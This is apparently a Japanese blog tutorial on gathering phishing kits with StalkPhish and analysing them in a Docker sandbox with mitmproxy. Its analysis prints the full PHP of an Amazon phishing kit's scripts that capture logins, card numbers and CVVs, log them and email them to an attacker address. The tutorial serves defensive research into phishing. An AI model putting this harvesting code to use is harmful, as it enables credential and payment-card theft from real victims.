Dockerで始めるフィッシングキットの収集・分析

環境
OS : macOS 12.2
Docker Engine : 20.10.12
# フィッシングキットについて
簡単に説明すると、フィッシングサイトを簡単に構築するためのツールみたいなもの。
これを使うことで、誰でも簡単かつ大量にフィッシングサイトを構築することが可能になる。
### フィッシングキットのサンプル
サンプルとしてAmazonのフィッシングキットを見てみる。
zipファイルの中身を表示する。

```
Amazon
├── Billing.php
├── Help.php
├── action_page.php
├── action_page_2.php
├── cc-lRj.png
├── confirmed.php
├── content
│   ├── 81Ma9HXt-LL._SS100_.png
│   ├── ADBLCRE_928_AmazonBeaconWW3._V144350231_.png
│   ├── BeaconSprite-US-01._V141013396_ (1).png
│   ├── BeaconSprite-US-01._V141013396_.png
│   ├── FO_WOMEN._V144617813_.png
│   ├── Gamer_Weekend_GNO._V142953523_.png
│   ├── US-secure-combined-1939234223_.css
│   ├── acorn._V192250692_.gif
│   ├── add-to-cart-106x22._V197414670_.gif
│   ├── amazon_logo_no-org_mid._V153387053_.png
│   ├── amznbtn-sprite03._V163527511_.png
│   ├── amznbtn-sprite03.png
│   ├── andy-mac_sport_flyout5._V144191585_.png
│   ├── ap-flex-reduced-nav-1.1._V148627780_.js
│   ├── ap-flex-reduced-nav-2.0._V393733149_.js
│   ├── ap-flex-reduced-nav._3C8_.css
│   ├── blank-pixel._V192192429_.gif
│   ├── books_bob-so-far_flyout._V144559233_.png
│   ├── browse_kindle-092811-02._V142508713_.png
│   ├── btn-close._V192250694_.gif
│   ├── btn_close._V192188154_.gif
│   ├── btn_close.gif
│   ├── close-tan-sm-dn._V192185961_.gif
│   ├── close-tan-sm._V192185930_.gif
│   ├── confirm-card._V17236_.png
│   ├── css-buttons-6.01._V147297482_.css
│   ├── css_left.gif
│   ├── deal_notifier-v47._V143310980_.js
│   ├── deal_notifier-v47._V14397098.js
│   ├── done.png
│   ├── dvg-thq-actionpack-2_flyout._V142988783_.png
│   ├── error-sprite-mini.gif
│   ├── error-sprite.gif
│   ├── favicon.gif
│   ├── forester-client-min-4090235136._V1_.js
│   ├── fwcim._V182746849_.js
│   ├── gno2a._V144250862_.png
│   ├── index.php
│   ├── jquery-1.2.6.min._V253690767_.js
│   ├── jserrors-min-3150624353._V1_.js
│   ├── kindle-family-02b._V139448121_.jpg
│   ├── left-arrow-semi-rd._V17361814_.gif
│   ├── loadIndicator-label.gif
│   ├── loading-bar-small._V192188123_.gif
│   ├── loading-small._V192238939_ (1).gif
│   ├── loading-small._V192238939_.gif
│   ├── nav-pop-8bit-h._V155961234_.png
│   ├── nav-pop-8bit-v._V155961234_.png
│   ├── nav-pop-h-v2._V137157005_.png
│   ├── nav-pop-v-v2._V137157005_.png
│   ├── navAmazonLogoFooter._V169459313_.gif
│   ├── navPackedSprites-US-22._V183711640_.png
│   ├── no-img-sm._V192198896_.gif
│   ├── orange_bullet.png
│   ├── po_bottom._V265110084_.png
│   ├── po_bottom.png
│   ├── po_bottom_left._V265110084_.png
│   ├── po_bottom_left.png
│   ├── po_bottom_right._V265110087_.png
│   ├── po_bottom_right.png
│   ├── po_left.png
│   ├── po_left_17._V248144977_.png
│   ├── po_right.png
│   ├── po_right_17._V248144979_.png
│   ├── po_top._V265110086_.png
│   ├── po_top.png
│   ├── po_top_left._V265110087_.png
│   ├── po_top_left.png
│   ├── po_top_right._V265110087_.png
│   ├── po_top_right.png
│   ├── right-arrow-semi-rd._V17361809_.gif
│   ├── save_and_add_payment_yellow._V162939631_.gif
│   ├── save_and_continue_white._V162939616_.gif
│   ├── shipment_large_lt._V192250661_.gif
│   ├── sign-in-secure._V192194766_.gif
│   ├── site-wide-7888076775._V1_.js
│   ├── site-wide-9224333_V1_.css
│   ├── site-wide-a04329._V1_.css
│   ├── sliced-box-bl._V47082482_.gif
│   ├── sliced-box-br._V47062575_.gif
│   ├── sliced-box-tbevel._V47082452_.gif
│   ├── sliced-box-tl._V6007502_.gif
│   ├── sliced-box-tr._V6007499_.gif
│   ├── snake._V192571611_.gif
│   ├── snake.gif
│   ├── spinneralert._V194172225_.gif
│   ├── sprite-arrow-v._V219326286_.png
│   ├── sprite-h._V156433805_.png
│   ├── sprite-h._V219326280_.png
│   ├── sprite-site-wide-2._V163715549_.png
│   ├── sprite-v._V197405518_.png
│   ├── sprite-v._V219326283_.png
│   ├── texttrace_typ._V183418138_.js
│   ├── toys-summer-flyout._V147747402_.png
│   ├── transparent-pixel._V192234675_.gif
│   ├── viewcartcheckoutmedium._V195191215_.gif
│   ├── wcs-css-buttons-31245272._V1_.css
│   ├── wcs-ya-homepage-293453433._V1_.css
│   ├── wcs-ya-homepage-cn-2642342._V1_.css
│   └── wcs-ya-homepage-cn-merged-714969038._V1_.css
├── cvv.gif
├── files_billing2
│   ├── css
│   │   ├── Style.css
│   │   ├── bootstrap.min.css
│   │   ├── check.css
│   │   ├── images - Copy.png
│   │   ├── images.png
│   │   ├── index.php
│   │   ├── style-login-desktop.css
│   │   └── style-login-mobile.css
│   ├── img
│   │   ├── 33.gif
│   │   ├── account.png
│   │   ├── btn.png
│   │   ├── btn2.png
│   │   ├── favicon.ico
│   │   ├── footer-login-desktop.png
│   │   ├── footer-login-mobile.png
│   │   ├── footer.png
│   │   ├── header-desktop.png
│   │   ├── header-mobile.png
│   │   ├── i1.png
│   │   ├── i2.png
│   │   ├── i3.png
│   │   ├── i4.jpg
│   │   ├── icon-app.jpg
│   │   ├── index.php
│   │   ├── login-desktop.png
│   │   ├── login-mobile.png
│   │   ├── navbar-repeat-desktop.png
│   │   ├── navbar-repeat-login.png
│   │   ├── navbar-repeat-mobile.png
│   │   ├── navbar.png
│   │   ├── payment.png
│   │   ├── sub-navbar.png
│   │   ├── vbv.png
│   │   └── vbv2.png
│   ├── index.php
│   └── js
│       ├── ccFormat.js
│       ├── index.php
│       ├── jquery.creditCardValidator - Copy.js
│       ├── jquery.creditCardValidator.js
│       ├── jquery.maskedinput.js
│       ├── jquery.min.js
│       ├── script-login-desktop.js
│       └── script-login-mobile.js
├── index.php
└── to.php
```
content配下にフィッシングサイトに使われている画像が保存されている。
Amazonに関係ない画像も含まれている。
![スクリーンショット 2022-01-24 19.45.44.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/274361/37be6b07-a486-8bdb-90ac-f75f40a12f86.png)
また、to.phpに攻撃者のメールアドレスが書かれている。

```php:to.php
<?php
$TO = "xxx@gmail.com";
?>
//メールアドレスの一部をxxxに置き換えている。
```
「action_page.php」では、メールアドレスとパスワード・IPアドレスなどのトラッキング情報を「rezult.txt」に保存し、「to.php」に書かれているメールアドレスに送信している。

```php:action_page.php
<?php
include "to.php";
$Email = $_POST['Email'];
$Pass = $_POST['Pass'];
$Date = "" . date("Y/m/d") . "";
date_default_timezone_set("Asia/Jerusalem");
$Time = "Asia/Jerusalem " . date("h:i:sa");
$Link = 'http://'.$_SERVER['HTTP_HOST'].$_SERVER['PHP_SELF'];
$IP = getenv("REMOTE_ADDR");
$BILSMG = "
-------------- Amazon-1 -------------
Email : $Email
Pass : $Pass
-------------- IP Tracing ------------
IP : $IP
Browser:".$_SERVER['HTTP_USER_AGENT']."
Link : $Link
Date : $Date / Time : $Time
---------- Coded & Tools By Hitman ---------";
$MAIL_TITLE = "Login | ".$IP."";
$MAIL_HEADER = "From: Amazon.Info";
@mail($TO,$MAIL_TITLE,$BILSMG,$MAIL_HEADER);
$handle = fopen("rezult.txt", "a");
fwrite($handle,$BILSMG);
$x=md5(microtime());

echo "<META HTTP-EQUIV='refresh' content='1; URL=Billing.php'>";exit;

?>
```
「action_page_2.php」では、クレジットカードの情報・IPアドレスなどのトラッキング情報を「rezult.txt」に保存し、　to.phpに書かれているメールアドレスに送信している。

```php:action_page_2.php
<?php
include "to.php";
$CCName  = $_POST['CCName'];
$card_number= $_POST['card_number'];
$Month   = $_POST['Month'];
$Year   = $_POST['Year'];
$CVV     = $_POST['CVV'];
$Address = $_POST['Address'];
$City    = $_POST['City'];
$State   = $_POST['State'];
$ZipCode = $_POST['ZipCode'];
$Country = $_POST['Country'];
$PhoneNumber = $_POST['PhoneNumber'];
$Date = "" . date("Y/m/d") . "";
date_default_timezone_set("Asia/Jerusalem");
$Time = "Asia/Jerusalem " . date("h:i:sa");
$Link = 'http://'.$_SERVER['HTTP_HOST'].$_SERVER['PHP_SELF'];
$IP = getenv("REMOTE_ADDR");
$BILSMG = "
-------------- Amazon-2 -------------
CCName : $CCName
card_number : $card_number
Month : $Month / Year : $Year
CVV : $CVV
Address : $Address
City : $City
State : $State
ZipCode : $ZipCode
Country : $Country
PhoneNumber : $PhoneNumber
-------------- IP Tracing ------------
IP : $IP
Browser:".$_SERVER['HTTP_USER_AGENT']."
Link : $Link
Date : $Date / Time : $Time
---------- Coded & Tools By Hitman ---------";
$MAIL_TITLE = "Credit Card | ".$IP."";
$MAIL_HEADER = "From: Amazon.Info";
@mail($TO,$MAIL_TITLE,$BILSMG,$MAIL_HEADER);
$handle = fopen("rezult.txt", "a");
fwrite($handle,$BILSMG);
$x=md5(microtime());

echo "<META HTTP-EQUIV='refresh' content='1; URL=confirmed.php'>";exit;

?>
```
# フィッシングキットを分析する目的
・対象のフィッシングサイトがどのような挙動をするのか。
・盗んだ情報がどこに送られるのか。(攻撃者の追跡)
# フィッシングキットの収集
### StalkPhishについて
https://github.com/t4d/StalkPhish

フィッシングキットを展開するときに、フィッシングキットのURLが含まれていることがある。
このツールは下記のフィッシングレポジトリからフィッシングサイトのURLを収集し、その中にフィッシングキットのURLがないか探してくれる。
・[urlscan.io](https://urlscan.io)
・[urlquery](https://urlquery.net/search)
・[PhishTank](https://phishtank.org)
・[OpenPhish](https://openphish.com/index.html)
・[PhishStats](https://phishstats.info/#)
・[Phishing.Database](https://github.com/mitchellkrogza/Phishing.Database)
※urlscan.ioとPhishTankはAPIKeyが必要。
### 環境構築
docker-compose.ymlが置いてあるディレクトリで下記コマンドを実行するだけで構築できる。

```
$ docker-compose up --build -d
```
### 使ってみる　
example.confが設定ファイルになっている。
まず、下記のコマンドでフィッシングサイトを収集する。

```
$ docker exec -it stalkphish sh
/ # cd /opt/StalkPhish/stalkphish/
/opt/StalkPhish/stalkphish # ./StalkPhish.py -c conf/example.conf
```
実行画面
![スクリーンショット 2022-01-23 13.05.13.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/274361/0343b034-30d6-8bc4-5484-12c9e93580a0.png)
収集したURLから、フィッシングキットをダウンロードしたい場合は、-Gをつける。
ダウンロードしたフィッシングキットはデフォルトの設定では、./dl/に保存される。

```
/opt/StalkPhish/stalkphish # ./StalkPhish.py -c conf/example.conf -G
```
特定のフィッシングサイトを収集したい場合は、-sをつける。

```
/opt/StalkPhish/stalkphish # ./StalkPhish.py -c conf/example.conf -s amazon
///「amazon」のキーワードで収集
```
収集したフィッシングサイトのURLはsqlite3で見ることができる。

```
/opt/StalkPhish/stalkphish # sqlite3 ./db/StalkPhish.sqlite3 'select * from StalkPhish'
```
![スクリーンショット 2022-01-23 13.19.21.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/274361/b15c6d31-280d-9a30-9283-0698d5a3fac5.png)
# フィッシングキットの分析
### PhishPondについて
https://github.com/zerofox-oss/phishpond

Docker上でフィッシングキットを分析できるようにしたもの。
仮想ブラウザやmitmproxyなどのツールが含まれている。
### 環境構築
wwwフォルダ(welcome.phpが置いてあるところ)に、展開したフィッシングキットを置く。
docker-compose.ymlが置いてあるディレクトリで下記コマンドを実行するだけで構築できる。

```
$ docker-compose up -d
```
localhost:5800で仮想ブラウザ、localhost:8080でmitmproxyにアクセスできる。
![スクリーンショット 2022-01-29 12.05.05.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/274361/f6057bee-2c58-7ad9-8f09-39c96f5605e1.png)
### 証明書の設定
1. 仮想ブラウザ(Firefox)の設定画面で、「view certificates」を開く。
2. 「Authorities」タブの「Import」をクリック。
3. 「/config/certs/mitmproxy-ca-cert.pem」を選択する。
![スクリーンショット 2022-01-29 12.13.34.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/274361/e4fdb699-455d-36a2-48fc-349aa9e2a883.png)
4. 「Trust this CA to identify websites」にチェックを入れてOKをクリック。
![スクリーンショット 2022-01-29 12.15.41.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/274361/957180c4-2b0d-f771-4636-8521c72fd8f9.png)
これで環境構築は完了する。

### 使ってみる
Amazonのフィッシングサイト(上のサンプルとは別のもの)にアクセスしてみる。
![スクリーンショット 2022-01-30 0.35.27.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/274361/f25fa286-e9c4-9f88-dfd1-4ae1774aa6ab.png)
mitmproxyの画面でトラフィックを分析できる。
![スクリーンショット 2022-01-30 0.36.58.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/274361/860f81bc-596f-82e1-e7ee-c8c0e9eaf3be.png)
メールアドレスとパスワードを入力すると、電話番号やクレジットカード番号などの情報を入力する画面に遷移する。
![スクリーンショット 2022-01-30 0.38.18.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/274361/82d8e87d-870a-95e8-4316-def79ca53977.png)
その時に、メールアドレスとパスワードの情報が送信されていることがわかる。
![スクリーンショット 2022-01-30 0.38.53.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/274361/1df1e1ac-147d-7cb4-bda4-fa932dc40a37.png)
これらの情報の入力が完了し、3Dセキュアの画面に遷移したときにクレジットカード番号などの情報が送信されている。
![スクリーンショット 2022-01-30 0.41.21.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/274361/10c26010-58b5-ea03-ae95-580b49c7e33d.png)
![スクリーンショット 2022-01-30 0.42.32.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/274361/d9ef1858-c51d-332a-3027-9b41ec63e716.png)
3Dセキュアの情報を入力すると、これらの情報も送信されている。
![スクリーンショット 2022-01-30 0.43.58.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/274361/5e3d0667-388a-42a9-e91f-adf7d1a696a3.png)
### Firefoxの文字化けについて
デフォルトの設定のままで、日本語のフィッシングサイトを表示すると文字化けしてしまう。
そのため、docker-compose.ymlの下記の矢印の部分を追加する必要がある。

```:docker-compose.yml
  browser:
    build:
      context: https://github.com/jlesage/docker-firefox.git
      shm_size: '2gb'
    ports:
      - "5800:5800"
    container_name: 'firefox'
    volumes:
      - browser-volume:/config:rw
      - mitm-volume:/config/certs/
    depends_on:
      - mitmproxy
    links:
      - mitmproxy
      - webserver
    networks:
      - phishpond_network
    environment:
      - FF_PREF_PROXY_TYPE=network.proxy.type=1
      - FF_PREF_HTTP_PROXY=network.proxy.http=\"mitmproxy\"
      - FF_PREF_HTTP_PROXY_PORT=network.proxy.http_port=8080
      - FF_PREF_HTTPS_PROXY=network.proxy.ssl=\"mitmproxy\"
      - FF_PREF_HTTPS_PROXY_PORT=network.proxy.ssl_port=8080
      - FF_PREF_CAPTIVE_PORTAL=network.captive-portal-service.enabled=false
      - DISPLAY_WIDTH=1280
      - DISPLAY_HEIGHT=768
      - ENABLE_CJK_FONT=1  <--- 追加
```
# フィッシングキットの参考情報
StalkPhish

https://stalkphish.com

0xDanielLopez/phishing_kits

https://github.com/0xDanielLopez/phishing_kits

フィッシングキット16shopの分析記事

https://www.trendmicro.com/ja_jp/research/23/i/revisiting-16shop-phishing-kit-trend-interpol-partnership.html

某のフィッシングキットから見る、調査のときに留意したいクローキングのこと

https://migawari-iv.hatenablog.com/entry/2023/09/24/214125